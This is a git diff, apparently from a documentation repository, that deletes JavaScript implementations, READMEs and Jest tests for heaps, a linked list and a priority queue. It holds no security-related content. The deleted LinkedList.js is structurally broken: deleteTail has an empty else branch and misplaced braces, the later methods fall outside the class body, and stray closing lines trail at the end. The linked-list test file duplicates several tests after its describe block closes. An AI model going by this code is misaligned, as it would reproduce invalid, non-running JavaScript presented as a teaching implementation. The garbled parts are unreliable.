-        const maxHeap = new MaxHeap();
-        maxHeap.add('a');
-        maxHeap.add('bb');
-        maxHeap.add('ccc');
-        maxHeap.add('dddd');
-        expect(maxHeap.toString()).toBe('dddd,ccc,bb,a');
-        const comparator = new Comparator((a, b) => {
-            if (a.length === b.length) {
-                return 0;
-            }
-            return a.length < b.length ? -1 : 1;
-        });
-        maxHeap.remove('hey', comparator);
-        expect(maxHeap.toString()).toBe('dddd,a,bb');
-    });
-});
diff --git a/docs/content/DS_ALGO/data-structures/heap/test/MinHeap.test.js b/docs/content/DS_ALGO/data-structures/heap/test/MinHeap.test.js
deleted file mode 100644
index 266ff07b34..0000000000
--- a/docs/content/DS_ALGO/data-structures/heap/test/MinHeap.test.js
+++ /dev/null
@@ -1,148 +0,0 @@
-import MinHeap from '../MinHeap';
-import Comparator from '../../../utils/comparator/Comparator';
-describe('MinHeap', () => {
-    it('should create an empty min heap', () => {
-        const minHeap = new MinHeap();
-        expect(minHeap).toBeDefined();
-        expect(minHeap.peek()).toBeNull();
-        expect(minHeap.isEmpty()).toBe(true);
-    });
-    it('should add items to the heap and heapify it up', () => {
-        const minHeap = new MinHeap();
-        minHeap.add(5);
-        expect(minHeap.isEmpty()).toBe(false);
-        expect(minHeap.peek()).toBe(5);
-        expect(minHeap.toString()).toBe('5');
-        minHeap.add(3);
-        expect(minHeap.peek()).toBe(3);
-        expect(minHeap.toString()).toBe('3,5');
-        minHeap.add(10);
-        expect(minHeap.peek()).toBe(3);
-        expect(minHeap.toString()).toBe('3,5,10');
-        minHeap.add(1);
-        expect(minHeap.peek()).toBe(1);
-        expect(minHeap.toString()).toBe('1,3,10,5');
-        minHeap.add(1);
-        expect(minHeap.peek()).toBe(1);
-        expect(minHeap.toString()).toBe('1,1,10,5,3');
-        expect(minHeap.poll()).toBe(1);
-        expect(minHeap.toString()).toBe('1,3,10,5');
-        expect(minHeap.poll()).toBe(1);
-        expect(minHeap.toString()).toBe('3,5,10');
-        expect(minHeap.poll()).toBe(3);
-        expect(minHeap.toString()).toBe('5,10');
-    });
-    it('should poll items from the heap and heapify it down', () => {
-        const minHeap = new MinHeap();
-        minHeap.add(5);
-        minHeap.add(3);
-        minHeap.add(10);
-        minHeap.add(11);
-        minHeap.add(1);
-        expect(minHeap.toString()).toBe('1,3,10,11,5');
-        expect(minHeap.poll()).toBe(1);
-        expect(minHeap.toString()).toBe('3,5,10,11');
-        expect(minHeap.poll()).toBe(3);
-        expect(minHeap.toString()).toBe('5,11,10');
-        expect(minHeap.poll()).toBe(5);
-        expect(minHeap.toString()).toBe('10,11');
-        expect(minHeap.poll()).toBe(10);
-        expect(minHeap.toString()).toBe('11');
-        expect(minHeap.poll()).toBe(11);
-        expect(minHeap.toString()).toBe('');
-        expect(minHeap.poll()).toBeNull();
-        expect(minHeap.toString()).toBe('');
-    });
-    it('should heapify down through the right branch as well', () => {
-        const minHeap = new MinHeap();
-        minHeap.add(3);
-        minHeap.add(12);
-        minHeap.add(10);
-        expect(minHeap.toString()).toBe('3,12,10');
-        minHeap.add(11);
-        expect(minHeap.toString()).toBe('3,11,10,12');
-        expect(minHeap.poll()).toBe(3);
-        expect(minHeap.toString()).toBe('10,11,12');
-    });
-    it('should be possible to find item indices in heap', () => {
-        const minHeap = new MinHeap();
-        minHeap.add(3);
-        minHeap.add(12);
-        minHeap.add(10);
-        minHeap.add(11);
-        minHeap.add(11);
-        expect(minHeap.toString()).toBe('3,11,10,12,11');
-        expect(minHeap.find(5)).toEqual([]);
-        expect(minHeap.find(3)).toEqual([0]);
-        expect(minHeap.find(11)).toEqual([1, 4]);
-    });
-    it('should be possible to remove items from heap with heapify down', () => {
-        const minHeap = new MinHeap();
-        minHeap.add(3);
-        minHeap.add(12);
-        minHeap.add(10);
-        minHeap.add(11);
-        minHeap.add(11);
-        expect(minHeap.toString()).toBe('3,11,10,12,11');
-        expect(minHeap.remove(3).toString()).toEqual('10,11,11,12');
-        expect(minHeap.remove(3).peek()).toEqual(10);
-        expect(minHeap.remove(11).toString()).toEqual('10,12');
-        expect(minHeap.remove(3).peek()).toEqual(10);
-    });
-    it('should be possible to remove items from heap with heapify up', () => {
-        const minHeap = new MinHeap();
-        minHeap.add(3);
-        minHeap.add(10);
-        minHeap.add(5);
-        minHeap.add(6);
-        minHeap.add(7);
-        minHeap.add(4);
-        minHeap.add(6);
-        minHeap.add(8);
-        minHeap.add(2);
-        minHeap.add(1);
-        expect(minHeap.toString()).toBe('1,2,4,6,3,5,6,10,8,7');
-        expect(minHeap.remove(8).toString()).toEqual('1,2,4,6,3,5,6,10,7');
-        expect(minHeap.remove(7).toString()).toEqual('1,2,4,6,3,5,6,10');
-        expect(minHeap.remove(1).toString()).toEqual('2,3,4,6,10,5,6');
-        expect(minHeap.remove(2).toString()).toEqual('3,6,4,6,10,5');
-        expect(minHeap.remove(6).toString()).toEqual('3,5,4,10');
-        expect(minHeap.remove(10).toString()).toEqual('3,5,4');
-        expect(minHeap.remove(5).toString()).toEqual('3,4');
-        expect(minHeap.remove(3).toString()).toEqual('4');
-        expect(minHeap.remove(4).toString()).toEqual('');
-    });
-    it('should be possible to remove items from heap with custom finding comparator', () => {
-        const minHeap = new MinHeap();
-        minHeap.add('dddd');
-        minHeap.add('ccc');
-        minHeap.add('bb');
-        minHeap.add('a');
-        expect(minHeap.toString()).toBe('a,bb,ccc,dddd');
-        const comparator = new Comparator((a, b) => {
-            if (a.length === b.length) {
-                return 0;
-            }
-            return a.length < b.length ? -1 : 1;
-        });
-        minHeap.remove('hey', comparator);
-        expect(minHeap.toString()).toBe('a,bb,dddd');
-    });
-    it('should remove values from heap and correctly re-order the tree', () => {
-        const minHeap = new MinHeap();
-        minHeap.add(1);
-        minHeap.add(2);
-        minHeap.add(3);
-        minHeap.add(4);
-        minHeap.add(5);
-        minHeap.add(6);
-        minHeap.add(7);
-        minHeap.add(8);
-        minHeap.add(9);
-        expect(minHeap.toString()).toBe('1,2,3,4,5,6,7,8,9');
-        minHeap.remove(2);
-        expect(minHeap.toString()).toBe('1,4,3,8,5,6,7,9');
-        minHeap.remove(4);
-        expect(minHeap.toString()).toBe('1,5,3,8,9,6,7');
-    });
-});
diff --git a/docs/content/DS_ALGO/data-structures/linked-list/LinkedList.js b/docs/content/DS_ALGO/data-structures/linked-list/LinkedList.js
deleted file mode 100644
index d007654b62..0000000000
--- a/docs/content/DS_ALGO/data-structures/linked-list/LinkedList.js
+++ /dev/null
@@ -1,232 +0,0 @@
-import LinkedListNode from './LinkedListNode';
-import Comparator from '../../utils/comparator/Comparator';
-export default class LinkedList {
-    /**
-     * @param {Function} [comparatorFunction]
-     */
-    constructor(comparatorFunction) {
-        /** @var LinkedListNode */
-        this.head = null;
-        /** @var LinkedListNode */
-        this.tail = null;
-        this.compare = new Comparator(comparatorFunction);
-    }
-    /**
-     * @param {*} value
-     * @return {LinkedList}
-     */
-    prepend(value) {
-        // Make new node to be a head.
-        const newNode = new LinkedListNode(value, this.head);
-        this.head = newNode;
-        // If there is no tail yet let's make new node a tail.
-        if (!this.tail) {
-            this.tail = newNode;
-        }
-        return this;
-    }
-    /**
-     * @param {*} value
-     * @return {LinkedList}
-     */
-    append(value) {
-        const newNode = new LinkedListNode(value);
-        // If there is no head yet let's make new node a head.
-        if (!this.head) {
-            this.head = newNode;
-            this.tail = newNode;
-            return this;
-        }
-        // Attach new node to the end of linked list.
-        this.tail.next = newNode;
-        this.tail = newNode;
-        return this;
-    }
-    /**
-     * @param {*} value
-     * @param {number} index
-     * @return {LinkedList}
-     */
-    insert(value, rawIndex) {
-        const index = rawIndex < 0 ? 0 : rawIndex;
-        if (index === 0) {
-            this.prepend(value);
-        } else {
-            let count = 1;
-            let currentNode = this.head;
-            const newNode = new LinkedListNode(value);
-            while (currentNode) {
-                if (count === index) break;
-                currentNode = currentNode.next;
-                count += 1;
-            }
-            if (currentNode) {
-                newNode.next = currentNode.next;
-                currentNode.next = newNode;
-            } else {
-                if (this.tail) {
-                    this.tail.next = newNode;
-                    this.tail = newNode;
-                } else {
-                    this.head = newNode;
-                    this.tail = newNode;
-                }
-            }
-        }
-        return this;
-    }
-    /**
-     * @param {*} value
-     * @return {LinkedListNode}
-     */
-    delete(value) {
-        if (!this.head) {
-            return null;
-        }
-        let deletedNode = null;
-        // If the head must be deleted then make next node that is different
-        // from the head to be a new head.
-        while (this.head && this.compare.equal(this.head.value, value)) {
-            deletedNode = this.head;
-            this.head = this.head.next;
-        }
-        let currentNode = this.head;
-        if (currentNode !== null) {
-            // If next node must be deleted then make next node to be a next next one.
-            while (currentNode.next) {
-                if (this.compare.equal(currentNode.next.value, value)) {
-                    deletedNode = currentNode.next;
-                    currentNode.next = currentNode.next.next;
-                } else {
-                    currentNode = currentNode.next;
-                }
-            }
-        }
-        // Check if tail must be deleted.
-        if (this.compare.equal(this.tail.value, value)) {
-            this.tail = currentNode;
-        }
-        return deletedNode;
-    }
-    /**
-     * @param {Object} findParams
-     * @param {*} findParams.value
-     * @param {function} [findParams.callback]
-     * @return {LinkedListNode}
-     */
-    find({
-        value = undefined,
-        callback = undefined
-    }) {
-        if (!this.head) {
-            return null;
-        }
-        let currentNode = this.head;
-        while (currentNode) {
-            // If callback is specified then try to find node by callback.
-            if (callback && callback(currentNode.value)) {
-                return currentNode;
-            }
-            // If value is specified then try to compare by value..
-            if (value !== undefined && this.compare.equal(currentNode.value, value)) {
-                return currentNode;
-            }
-            currentNode = currentNode.next;
-        }
-        return null;
-    }
-    /**
-     * @return {LinkedListNode}
-     */
-    deleteTail() {
-        const deletedTail = this.tail;
-        if (this.head === this.tail) {
-            // There is only one node in linked list.
-            this.head = null;
-            this.tail = null;
-            return deletedTail;
-        }
-        // If there are many nodes in linked list...
-        // Rewind to the last node and delete "next" link for the node before the last one.
-        let currentNode = this.head;
-        while (currentNode.next) {
-            if (!currentNode.next.next) {
-                currentNode.next = null;
-            } else {}
-            currentNode = currentNode.next;
-        }
-    }
-    this.tail = currentNode;
-    return deletedTail;
-}
-/**
- * @return {LinkedListNode}
- */
-deleteHead() {
-    if (!this.head) {
-        return null;
-    }
-    const deletedHead = this.head;
-    if (this.head.next) {
-        this.head = this.head.next;
-    } else {
-        this.head = null;
-        this.tail = null;
-    }
-    return deletedHead;
-}
-/**
- * @param {*[]} values - Array of values that need to be converted to linked list.
- * @return {LinkedList}
- */
-fromArray(values) {
-    values.forEach((value) => this.append(value));
-    return this;
-}
-/**
- * @return {LinkedListNode[]}
- */
-toArray() {
-    const nodes = [];
-    let currentNode = this.head;
-    while (currentNode) {
-        nodes.push(currentNode);
-        currentNode = currentNode.next;
-    }
-    return nodes;
-}
-/**
- * @param {function} [callback]
- * @return {string}
- */
-toString(callback) {
-    return this.toArray()
-        .map((node) => node.toString(callback))
-        .toString();
-}
-/**
- * Reverse a linked list.
- * @returns {LinkedList}
- */
-reverse() {
-    let currNode = this.head;
-    let prevNode = null;
-    let nextNode = null;
-    while (currNode) {
-        // Store next node.
-        nextNode = currNode.next;
-        // Change next node of the current node so it would link to previous node.
-        currNode.next = prevNode;
-        // Move prevNode and currNode nodes one step forward.
-        prevNode = currNode;
-        currNode = nextNode;
-    }
-    // Reset head and tail.
-    this.tail = this.head;
-    this.head = prevNode;
-    return this;
-}
-}
-return this;
-}
-}
diff --git a/docs/content/DS_ALGO/data-structures/linked-list/LinkedListNode.js b/docs/content/DS_ALGO/data-structures/linked-list/LinkedListNode.js
deleted file mode 100644
index c697e6759c..0000000000
--- a/docs/content/DS_ALGO/data-structures/linked-list/LinkedListNode.js
+++ /dev/null
@@ -1,9 +0,0 @@
-export default class LinkedListNode {
-    constructor(value, next = null) {
-        this.value = value;
-        this.next = next;
-    }
-    toString(callback) {
-        return callback ? callback(this.value) : `${this.value}`;
-    }
-}
diff --git a/docs/content/DS_ALGO/data-structures/linked-list/README.md b/docs/content/DS_ALGO/data-structures/linked-list/README.md
deleted file mode 100644
index d39b49e065..0000000000
--- a/docs/content/DS_ALGO/data-structures/linked-list/README.md
+++ /dev/null
@@ -1,158 +0,0 @@
-# Linked List
-
-In computer science, a **linked list** is a linear collection
-of data elements, in which linear order is not given by
-their physical placement in memory. Instead, each
-element points to the next. It is a data structure
-consisting of a group of nodes which together represent
-a sequence. Under the simplest form, each node is
-composed of data and a reference (in other words,
-a link) to the next node in the sequence. This structure
-allows for efficient insertion or removal of elements
-from any position in the sequence during iteration.
-More complex variants add additional links, allowing
-efficient insertion or removal from arbitrary element
-references. A drawback of linked lists is that access
-time is linear (and difficult to pipeline). Faster
-access, such as random access, is not feasible. Arrays
-have better cache locality as compared to linked lists.
-
-![Linked List](https://upload.wikimedia.org/wikipedia/commons/6/6d/Singly-linked-list.svg)
-
-## Pseudocode for Basic Operations
-
-### Insert
-
-```text
-Add(value)
-  Pre: value is the value to add to the list
-  Post: value has been placed at the tail of the list
-  n ← node(value)
-  if head = ø
-    head ← n
-    tail ← n
-  else
-    tail.next ← n
-    tail ← n
-  end if
-end Add
-```
-
-```text
-Prepend(value)
- Pre: value is the value to add to the list
- Post: value has been placed at the head of the list
- n ← node(value)
- n.next ← head
- head ← n
- if tail = ø
-   tail ← n
- end
-end Prepend
-```
-
-### Search
-
-```text
-Contains(head, value)
-  Pre: head is the head node in the list
-       value is the value to search for
-  Post: the item is either in the linked list, true; otherwise false
-  n ← head
-  while n != ø and n.value != value
-    n ← n.next
-  end while
-  if n = ø
-    return false
-  end if
-  return true
-end Contains
-```
-
-### Delete
-
-```text
-Remove(head, value)
-  Pre: head is the head node in the list
-       value is the value to remove from the list
-  Post: value is removed from the list, true, otherwise false
-  if head = ø
-    return false
-  end if
-  n ← head
-  if n.value = value
-    if head = tail
-      head ← ø
-      tail ← ø
-    else
-      head ← head.next
-    end if
-    return true
-  end if
-  while n.next != ø and n.next.value != value
-    n ← n.next
-  end while
-  if n.next != ø
-    if n.next = tail
-      tail ← n
-      tail.next = null
-    else
-      n.next ← n.next.next
-    end if
-    return true
-  end if
-  return false
-end Remove
-```
-
-### Traverse
-
-```text
-Traverse(head)
-  Pre: head is the head node in the list
-  Post: the items in the list have been traversed
-  n ← head
-  while n != ø
-    yield n.value
-    n ← n.next
-  end while
-end Traverse
-```
-
-### Traverse in Reverse
-
-```text
-ReverseTraversal(head, tail)
-  Pre: head and tail belong to the same list
-  Post: the items in the list have been traversed in reverse order
-  if tail != ø
-    curr ← tail
-    while curr != head
-      prev ← head
-      while prev.next != curr
-        prev ← prev.next
-      end while
-      yield curr.value
-      curr ← prev
-    end while
-   yield curr.value
-  end if
-end ReverseTraversal
-```
-
-## Complexities
-
-### Time Complexity
-
-| Access | Search | Insertion | Deletion |
-| :----: | :----: | :-------: | :------: |
-|  O(n)  |  O(n)  |   O(1)    |   O(n)   |
-
-### Space Complexity
-
-O(n)
-
-## References
-
--   [Wikipedia](https://en.wikipedia.org/wiki/Linked_list)
--   [YouTube](https://www.youtube.com/watch?v=njTh_OwMljA&index=2&t=1s&list=PLLXdhg_r2hKA7DPDsunoDZ-Z769jWn4R8)
diff --git a/docs/content/DS_ALGO/data-structures/linked-list/test/LinkedList.test.js b/docs/content/DS_ALGO/data-structures/linked-list/test/LinkedList.test.js
deleted file mode 100644
index 2cebd4344b..0000000000
--- a/docs/content/DS_ALGO/data-structures/linked-list/test/LinkedList.test.js
+++ /dev/null
@@ -1,280 +0,0 @@
-import LinkedList from '../LinkedList';
-describe('LinkedList', () => {
-    it('should create empty linked list', () => {
-        const linkedList = new LinkedList();
-        expect(linkedList.toString()).toBe('');
-    });
-    it('should append node to linked list', () => {
-        const linkedList = new LinkedList();
-        expect(linkedList.head).toBeNull();
-        expect(linkedList.tail).toBeNull();
-        linkedList.append(1);
-        linkedList.append(2);
-        expect(linkedList.toString()).toBe('1,2');
-        expect(linkedList.tail.next).toBeNull();
-    });
-    it('should prepend node to linked list', () => {
-        const linkedList = new LinkedList();
-        linkedList.prepend(2);
-        expect(linkedList.head.toString()).toBe('2');
-        expect(linkedList.tail.toString()).toBe('2');
-        linkedList.append(1);
-        linkedList.prepend(3);
-        expect(linkedList.toString()).toBe('3,2,1');
-    });
-    it('should insert node to linked list', () => {
-        const linkedList = new LinkedList();
-        linkedList.insert(4, 3);
-        expect(linkedList.head.toString()).toBe('4');
-        expect(linkedList.tail.toString()).toBe('4');
-        linkedList.insert(3, 2);
-        linkedList.insert(2, 1);
-        linkedList.insert(1, -7);
-        linkedList.insert(10, 9);
-        expect(linkedList.toString()).toBe('1,4,2,3,10');
-    });
-    it('should delete node by value from linked list', () => {
-        const linkedList = new LinkedList();
-        expect(linkedList.delete(5)).toBeNull();
-        linkedList.append(1);
-        linkedList.append(1);
-        linkedList.append(2);
-        linkedList.append(3);
-        linkedList.append(3);
-        linkedList.append(3);
-        linkedList.append(4);
-        linkedList.append(5);
-        expect(linkedList.head.toString()).toBe('1');
-        expect(linkedList.tail.toString()).toBe('5');
-        const deletedNode = linkedList.delete(3);
-        expect(deletedNode.value).toBe(3);
-        expect(linkedList.toString()).toBe('1,1,2,4,5');
-        linkedList.delete(3);
-        expect(linkedList.toString()).toBe('1,1,2,4,5');
-        linkedList.delete(1);
-        expect(linkedList.toString()).toBe('2,4,5');
-        expect(linkedList.head.toString()).toBe('2');
-        expect(linkedList.tail.toString()).toBe('5');
-        linkedList.delete(5);
-        expect(linkedList.toString()).toBe('2,4');
-        expect(linkedList.head.toString()).toBe('2');
-        expect(linkedList.tail.toString()).toBe('4');
-        linkedList.delete(4);
-        expect(linkedList.toString()).toBe('2');
-        expect(linkedList.head.toString()).toBe('2');
-        expect(linkedList.tail.toString()).toBe('2');
-        linkedList.delete(2);
-        expect(linkedList.toString()).toBe('');
-    });
-    it('should delete linked list tail', () => {
-        const linkedList = new LinkedList();
-        linkedList.append(1);
-        linkedList.append(2);
-        linkedList.append(3);
-        expect(linkedList.head.toString()).toBe('1');
-        expect(linkedList.tail.toString()).toBe('3');
-        const deletedNode1 = linkedList.deleteTail();
-        expect(deletedNode1.value).toBe(3);
-        expect(linkedList.toString()).toBe('1,2');
-        expect(linkedList.head.toString()).toBe('1');
-        expect(linkedList.tail.toString()).toBe('2');
-        const deletedNode2 = linkedList.deleteTail();
-        expect(deletedNode2.value).toBe(2);
-        expect(linkedList.toString()).toBe('1');
-        expect(linkedList.head.toString()).toBe('1');
-        expect(linkedList.tail.toString()).toBe('1');
-        const deletedNode3 = linkedList.deleteTail();
-        expect(deletedNode3.value).toBe(1);
-        expect(linkedList.toString()).toBe('');
-        expect(linkedList.head).toBeNull();
-        expect(linkedList.tail).toBeNull();
-    });
-    it('should delete linked list head', () => {
-        const linkedList = new LinkedList();
-        expect(linkedList.deleteHead()).toBeNull();
-        linkedList.append(1);
-        linkedList.append(2);
-        expect(linkedList.head.toString()).toBe('1');
-        expect(linkedList.tail.toString()).toBe('2');
-        const deletedNode1 = linkedList.deleteHead();
-        expect(deletedNode1.value).toBe(1);
-        expect(linkedList.toString()).toBe('2');
-        expect(linkedList.head.toString()).toBe('2');
-        expect(linkedList.tail.toString()).toBe('2');
-        const deletedNode2 = linkedList.deleteHead();
-        expect(deletedNode2.value).toBe(2);
-        expect(linkedList.toString()).toBe('');
-        expect(linkedList.head).toBeNull();
-        expect(linkedList.tail).toBeNull();
-    });
-    it('should be possible to store objects in the list and to print them out', () => {
-        const linkedList = new LinkedList();
-        const nodeValue1 = {
-            value: 1,
-            key: 'key1'
-        };
-        const nodeValue2 = {
-            value: 2,
-            key: 'key2'
-        };
-        linkedList.append(nodeValue1).prepend(nodeValue2);
-        const nodeStringifier = (value) => `${value.key}:${value.value}`;
-        expect(linkedList.toString(nodeStringifier)).toBe('key2:2,key1:1');
-    });
-    it('should find node by value', () => {
-        const linkedList = new LinkedList();
-        expect(linkedList.find({
-            value: 5
-        })).toBeNull();
-        linkedList.append(1);
-        expect(linkedList.find({
-            value: 1
-        })).toBeDefined();
-        linkedList.append(2).append(3);
-        const node = linkedList.find({
-            value: 2
-        });
-        expect(node.value).toBe(2);
-        expect(linkedList.find({
-            value: 5
-        })).toBeNull();
-    });
-    it('should find node by callback', () => {
-        const linkedList = new LinkedList();
-        linkedList.append({
-            value: 1,
-            key: 'test1'
-        }).append({
-            value: 2,
-            key: 'test2'
-        }).append({
-            value: 3,
-            key: 'test3'
-        });
-        const node = linkedList.find({
-            callback: (value) => value.key === 'test2'
-        });
-        expect(node).toBeDefined();
-        expect(node.value.value).toBe(2);
-        expect(node.value.key).toBe('test2');
-        expect(linkedList.find({
-            callback: (value) => value.key === 'test5'
-        })).toBeNull();
-    });
-    it('should create linked list from array', () => {
-        const linkedList = new LinkedList();
-        linkedList.fromArray([1, 1, 2, 3, 3, 3, 4, 5]);
-        expect(linkedList.toString()).toBe('1,1,2,3,3,3,4,5');
-    });
-    it('should find node by means of custom compare function', () => {
-        const comparatorFunction = (a, b) => {
-            if (a.customValue === b.customValue) {
-                return 0;
-            }
-            return a.customValue < b.customValue ? -1 : 1;
-        };
-        const linkedList = new LinkedList(comparatorFunction);
-        linkedList.append({
-            value: 1,
-            customValue: 'test1'
-        }).append({
-            value: 2,
-            customValue: 'test2'
-        }).append({
-            value: 3,
-            customValue: 'test3'
-        });
-        const node = linkedList.find({
-            value: {
-                value: 2,
-                customValue: 'test2'
-            }
-        });
-        expect(node).toBeDefined();
-        expect(node.value.value).toBe(2);
-        expect(node.value.customValue).toBe('test2');
-        expect(linkedList.find({
-            value: {
-                value: 2,
-                customValue: 'test5'
-            }
-        })).toBeNull();
-    });
-    it('should find preferring callback over compare function', () => {
-        const greaterThan = (value, compareTo) => (value > compareTo ? 0 : 1);
-        const linkedList = new LinkedList(greaterThan);
-        linkedList.fromArray([1, 2, 3, 4, 5]);
-        let node = linkedList.find({
-            value: 3
-        });
-        expect(node.value).toBe(4);
-        node = linkedList.find({
-            callback: (value) => value < 3
-        });
-        expect(node.value).toBe(1);
-    });
-    it('should convert to array', () => {
-        const linkedList = new LinkedList();
-        linkedList.append(1);
-        linkedList.append(2);
-        linkedList.append(3);
-        expect(linkedList.toArray().join(',')).toBe('1,2,3');
-    });
-    it('should reverse linked list', () => {
-        const linkedList = new LinkedList();
-        // Add test values to linked list.
-        linkedList.append(1).append(2).append(3);
-        expect(linkedList.toString()).toBe('1,2,3');
-        expect(linkedList.head.value).toBe(1);
-        expect(linkedList.tail.value).toBe(3);
-        // Reverse linked list.
-        linkedList.reverse();
-        expect(linkedList.toString()).toBe('3,2,1');
-        expect(linkedList.head.value).toBe(3);
-        expect(linkedList.tail.value).toBe(1);
-        // Reverse linked list back to initial state.
-        linkedList.reverse();
-        expect(linkedList.toString()).toBe('1,2,3');
-        expect(linkedList.head.value).toBe(1);
-        expect(linkedList.tail.value).toBe(3);
-    });
-});
-it('should find preferring callback over compare function', () => {
-    const greaterThan = (value, compareTo) => (value > compareTo ? 0 : 1);
-    const linkedList = new LinkedList(greaterThan);
-    linkedList.fromArray([1, 2, 3, 4, 5]);
-    let node = linkedList.find({
-        value: 3
-    });
-    expect(node.value).toBe(4);
-    node = linkedList.find({
-        callback: (value) => value < 3
-    });
-    expect(node.value).toBe(1);
-});
-it('should convert to array', () => {
-    const linkedList = new LinkedList();
-    linkedList.append(1);
-    linkedList.append(2);
-    linkedList.append(3);
-    expect(linkedList.toArray().join(',')).toBe('1,2,3');
-});
-it('should reverse linked list', () => {
-const linkedList = new LinkedList();
-// Add test values to linked list.
-linkedList.append(1).append(2).append(3);
-expect(linkedList.toString()).toBe('1,2,3');
-expect(linkedList.head.value).toBe(1);
-expect(linkedList.tail.value).toBe(3);
-// Reverse linked list.
-linkedList.reverse();
-expect(linkedList.toString()).toBe('3,2,1');
-expect(linkedList.head.value).toBe(3);
-expect(linkedList.tail.value).toBe(1);
-// Reverse linked list back to initial state.
-linkedList.reverse();
-expect(linkedList.toString()).toBe('1,2,3');
-expect(linkedList.head.value).toBe(1);
-expect(linkedList.tail.value).toBe(3);
-});
-});
diff --git a/docs/content/DS_ALGO/data-structures/linked-list/test/LinkedListNode.test.js b/docs/content/DS_ALGO/data-structures/linked-list/test/LinkedListNode.test.js
deleted file mode 100644
index b94ee4c022..0000000000
--- a/docs/content/DS_ALGO/data-structures/linked-list/test/LinkedListNode.test.js
+++ /dev/null
@@ -1,35 +0,0 @@
-import LinkedListNode from '../LinkedListNode';
-describe('LinkedListNode', () => {
-    it('should create list node with value', () => {
-        const node = new LinkedListNode(1);
-        expect(node.value).toBe(1);
-        expect(node.next).toBeNull();
-    });
-    it('should create list node with object as a value', () => {
-        const nodeValue = { value: 1, key: 'test' };
-        const node = new LinkedListNode(nodeValue);
-        expect(node.value.value).toBe(1);
-        expect(node.value.key).toBe('test');
-        expect(node.next).toBeNull();
-    });
-    it('should link nodes together', () => {
-        const node2 = new LinkedListNode(2);
-        const node1 = new LinkedListNode(1, node2);
-        expect(node1.next).toBeDefined();
-        expect(node2.next).toBeNull();
-        expect(node1.value).toBe(1);
-        expect(node1.next.value).toBe(2);
-    });
-    it('should convert node to string', () => {
-        const node = new LinkedListNode(1);
-        expect(node.toString()).toBe('1');
-        node.value = 'string value';
-        expect(node.toString()).toBe('string value');
-    });
-    it('should convert node to string with custom stringifier', () => {
-        const nodeValue = { value: 1, key: 'test' };
-        const node = new LinkedListNode(nodeValue);
-        const toStringCallback = (value) => `value: ${value.value}, key: ${value.key}`;
-        expect(node.toString(toStringCallback)).toBe('value: 1, key: test');
-    });
-});
diff --git a/docs/content/DS_ALGO/data-structures/priority-queue/PriorityQueue.js b/docs/content/DS_ALGO/data-structures/priority-queue/PriorityQueue.js
deleted file mode 100644
index 5d796ab0c0..0000000000
--- a/docs/content/DS_ALGO/data-structures/priority-queue/PriorityQueue.js
+++ /dev/null
@@ -1,88 +0,0 @@
-import MinHeap from '../heap/MinHeap';
-import Comparator from '../../utils/comparator/Comparator';
-// It is the same as min heap except that when comparing two elements
-// we take into account its priority instead of the element's value.
-export default class PriorityQueue extends MinHeap {
-    constructor() {
-        // Call MinHip constructor first.
-        super();
-        // Setup priorities map.
-        this.priorities = new Map();
-        // Use custom comparator for heap elements that will take element priority
-        // instead of element value into account.
-        this.compare = new Comparator(this.comparePriority.bind(this));
-    }
-    /**
-     * Add item to the priority queue.
-     * @param {*} item - item we're going to add to the queue.
-     * @param {number} [priority] - items priority.
-     * @return {PriorityQueue}
-     */
-    add(item, priority = 0) {
-        this.priorities.set(item, priority);
-        super.add(item);
-        return this;
-    }
-    /**
-     * Remove item from priority queue.
-     * @param {*} item - item we're going to remove.
-     * @param {Comparator} [customFindingComparator] - custom function for finding the item to remove
-     * @return {PriorityQueue}
-     */
-    remove(item, customFindingComparator) {
-        super.remove(item, customFindingComparator);
-        this.priorities.delete(item);
-        return this;
-    }
-    /**
-     * Change priority of the item in a queue.
-     * @param {*} item - item we're going to re-prioritize.
-     * @param {number} priority - new item's priority.
-     * @return {PriorityQueue}
-     */
-    changePriority(item, priority) {
-        this.remove(item, new Comparator(this.compareValue));
-        this.add(item, priority);
-        return this;
-    }
-    /**
-     * Find item by ite value.
-     * @param {*} item
-     * @return {Number[]}
-     */
-    findByValue(item) {
-        return this.find(item, new Comparator(this.compareValue));
-    }
-    /**
-     * Check if item already exists in a queue.
-     * @param {*} item
-     * @return {boolean}
-     */
-    hasValue(item) {
-        return this.findByValue(item).length > 0;
-    }
-    /**
-     * Compares priorities of two items.
-     * @param {*} a
-     * @param {*} b
-     * @return {number}
-     */
-    comparePriority(a, b) {
-        if (this.priorities.get(a) === this.priorities.get(b)) {
-            return 0;
-        }
-        return this.priorities.get(a) < this.priorities.get(b) ? -1 : 1;
-    }
-    /**
-     * Compares values of two items.
-     * @param {*} a
-     * @param {*} b
-     * @return {number}
-     */
-    compareValue(a, b) {
-        if (a === b) {
-            return 0;
-        }
-        return a < b ? -1 : 1;
-    }
-}
diff --git a/docs/content/DS_ALGO/data-structures/priority-queue/README.md b/docs/content/DS_ALGO/data-structures/priority-queue/README.md
deleted file mode 100644
index f204bc0a7e..0000000000
--- a/docs/content/DS_ALGO/data-structures/priority-queue/README.md
+++ /dev/null
@@ -1,22 +0,0 @@
-# Priority Queue
-
-[_Français_](README.fr-FR.md),
-
-In computer science, a **priority queue** is an abstract data type
-which is like a regular queue or stack data structure, but where
-additionally each element has a "priority" associated with it.
-In a priority queue, an element with high priority is served before
-an element with low priority. If two elements have the same
-priority, they are served according to their order in the queue.
-
-While priority queues are often implemented with heaps, they are
-conceptually distinct from heaps. A priority queue is an abstract
-concept like "a list" or "a map"; just as a list can be implemented
-with a linked list or an array, a priority queue can be implemented
-with a heap or a variety of other methods such as an unordered
-array.
-
-## References
-
--   [Wikipedia](https://en.wikipedia.org/wiki/Priority_queue)
--   [YouTube](https://www.youtube.com/watch?v=wptevk0bshY&list=PLLXdhg_r2hKA7DPDsunoDZ-Z769jWn4R8&index=6)
diff --git a/docs/content/DS_ALGO/data-structures/priority-queue/test/PriorityQueue.test.js b/docs/content/DS_ALGO/data-structures/priority-queue/test/PriorityQueue.test.js
deleted file mode 100644
index c2861e5cba..0000000000
--- a/docs/content/DS_ALGO/data-structures/priority-queue/test/PriorityQueue.test.js
+++ /dev/null
@@ -1,92 +0,0 @@
-import PriorityQueue from '../PriorityQueue';
-describe('PriorityQueue', () => {
-    it('should create default priority queue', () => {
-        const priorityQueue = new PriorityQueue();
-        expect(priorityQueue).toBeDefined();
-    });
-    it('should insert items to the queue and respect priorities', () => {
-        const priorityQueue = new PriorityQueue();
-        priorityQueue.add(10, 1);
-        expect(priorityQueue.peek()).toBe(10);
-        priorityQueue.add(5, 2);
-        expect(priorityQueue.peek()).toBe(10);
-        priorityQueue.add(100, 0);
-        expect(priorityQueue.peek()).toBe(100);
-    });
